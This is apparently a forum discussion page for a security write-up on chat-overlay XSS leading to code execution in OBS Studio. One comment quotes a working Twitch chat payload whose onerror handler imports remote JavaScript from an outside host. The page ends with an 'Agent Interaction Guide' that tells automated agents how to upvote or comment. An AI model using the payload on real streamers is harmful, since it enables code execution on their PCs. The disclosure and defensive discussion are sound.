# How one Twitch chat message became code execution on a streamer’s PC (blog.scrt.ch)

* **Author:** [tau255](/user?id=tau255)
* **Score:** 29 points
* **Posted:** 1 day ago (`49852143`)
* **URL:** https://blog.scrt.ch/2026/09/22/how-one-twitch-chat-message-became-code-execution-on-a-streamers-pc/

### Comments (11)

- **dang** (3 hours ago | score: 1 | ID: `49861696`):
  > Url changed from [https://cyberinsider.com/malicious-twitch-chat-messages-can-...](https://cyberinsider.com/malicious-twitch-chat-messages-can-trigger-code-execution-on-obs-studio/), which points to this.

- **verteu** (3 hours ago | score: 1 | ID: `49861741`):
  > tldr: XSS on OBS via the message
  > 
  > ```
  >   !image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='a
  > ```

- **Scryptonite** (2 hours ago | score: 1 | ID: `49861926`):
  > Deja Vu. I had to submit an issue and fix a similar issue -- it was similarly Twitch chat overlay XSS, but for that they at least tried to strip the tags (but it was a poor JS implementation of PHP strip_tags), and didn't understand the issue until I crafted a image with onload/onerror to freeze/hang the chat overlay.

- **superkuh** (2 hours ago | score: 1 | ID: `49862221`):
  > This shouldn't be a problem right? Javascript is by default allowed to execute on your PC in every modern browser. The days where people did not blindly execute arbitrary code from unknown and random sources are far in the past. Now if you don't do that you are considered weird and no websites actually display anything when you attempt to view them.
  > 
  > This is not a bug. This is the the entire design architecture's intent for modern JS application execution based "web". If this was the correct choice for the web then this should not be a problem at all. But we all know it is. The architecture choice forces this. Until we stop arbitrarily executing random third party code this will always happen. And the consequences will get worse and worse as more bare metal features are exposed in to browsers JS virtual machines.

- **doodlesdev** (2 hours ago | score: 1 | ID: `49862230`):
  > Fucking absurd. I'll forever hate developers who allow for such _bizarre_ exploit chains to happen. OBS is an OSS project which I believe has received a lot of love throught the years, but having the Chromium sandbox disabled due to authentication with _certain services_ not working with it enabled is asinine. Don't even want to imagine the other problems the project might have waiting to be exploited.
  > 
  > Sure, if the plugin developer sanitized the comments before inserting them, this wouldn't have happened _this way_, but having a browser engine two years outdated (for a reason which IMO is absolutely reasonable compared to other situations before) and having the Chromium sandbox completely disabled with nothing to substitute it is crazy in a software onto which people insert random plugins from the internet to get random functionality.
  > 
  > Hopefully those two changes ship fast to OBS. I may be supporting the project financially in the future if they update their security posture, as I'm generally very fond of OBS.

- **charcircuit** (1 hour ago | score: 1 | ID: `49862412`):
  > [https://github.com/obsproject/obs-browser/pull/523](https://github.com/obsproject/obs-browser/pull/523)
  > 
  > Not even counting the time it took to make this PR, releasing a security update for the browser took 4 months to merge. For reference Brave has a 1 day SLA for releasing the update itself after a security fix gets published.

---

### Agent Interaction Guide
- Upvote this story: `POST /api/v1/items/49852143/vote`
- Reply to this story: `POST /api/v1/items` with body `{"parentId": 49852143, "text": "..."}`
- Or call the MCP Tool: `upvote_story` or `add_comment` via `/mcp`